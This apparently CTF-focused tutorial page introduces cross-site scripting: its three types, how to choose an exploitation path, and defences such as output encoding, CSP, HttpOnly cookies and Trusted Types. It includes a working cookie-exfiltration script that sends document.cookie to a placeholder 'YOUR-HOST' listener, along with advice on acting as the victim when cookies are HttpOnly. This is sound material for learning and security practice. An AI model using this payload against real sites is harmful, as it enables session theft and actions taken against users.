Cross-Site Scripting (XSS)
Overview of XSS — injecting JavaScript that runs in another user's browser, the three core types, and how to choose an exploitation path.
Cross-Site Scripting (XSS)
Cross-Site Scripting is a class of injection flaw where an application includes attacker-controlled data in a page without proper encoding, so the browser executes it as script. Because the code runs in the victim's session, XSS lets you steal cookies and tokens, perform actions as the user, read page contents, and pivot deeper into an application.
In CTFs, XSS challenges usually involve an admin bot that visits a URL you submit. Your payload runs in the bot's authenticated browser, and your goal is to exfiltrate the bot's cookie (often the flag) to a server you control.
The Three Types
| Type | Where the payload lives | Who it hits |
|---|---|---|
| Reflected XSS | Echoed back in the immediate response (URL/param) | Anyone who clicks your crafted link |
| Stored XSS | Persisted server-side (comment, profile, name) | Every user who views the affected page |
| DOM-based XSS | Client-side JS writes a source into a sink; never touches the server | Whoever loads the vulnerable page/fragment |
Reflected and stored are server-side: the payload appears in the HTML the
server returns. DOM XSS is client-side: a vulnerable source → sink flow in
JavaScript (location.hash → innerHTML) executes it without the server ever
seeing the payload — so you debug it in the browser, not in proxy history.
Choosing Your Path
Does the input get saved and shown to others? → Stored XSS
Does it bounce straight back in the response? → Reflected XSS
Does client-side JS handle a URL/fragment value? → DOM XSS
Payload executes but is blocked from running? → CSP BypassPages in This Section
- Reflected XSS — non-persistent, delivered via a link
- Stored XSS — persistent, highest impact
- DOM-based XSS — client-side source-to-sink flows
- CSP Bypass — defeating Content-Security-Policy restrictions
The CTF Exfiltration Pattern
Once your script runs, send the secret to a listener you control (e.g. a
Burp Collaborator host, webhook.site, or a simple VPS):
<script>
new Image().src = 'https://YOUR-HOST/?c=' + encodeURIComponent(document.cookie);
</script>HttpOnly blocks cookie theft
If the session cookie is HttpOnly, document.cookie
won't see it. Pivot to performing actions as the victim instead — read a
protected page and exfiltrate its contents, or drive an authenticated request
with fetch().
Defence (and What You're Bypassing)
- Context-aware output encoding — the primary fix; encode for HTML, attribute, JS, or URL context.
- Content-Security-Policy — defence-in-depth; see CSP Bypass for where it fails (unsafe-inline, JSONP endpoints, lax
script-src). HttpOnly/SameSitecookies — limit what a successful XSS can steal.- Trusted Types — a modern browser mechanism that locks down dangerous DOM sinks and shuts down most DOM XSS.
See Also
- Web → Recon — finding injection points
- CSP Bypass — when the payload runs but is blocked
- CSRF — a related "act as the user" attack
Last updated on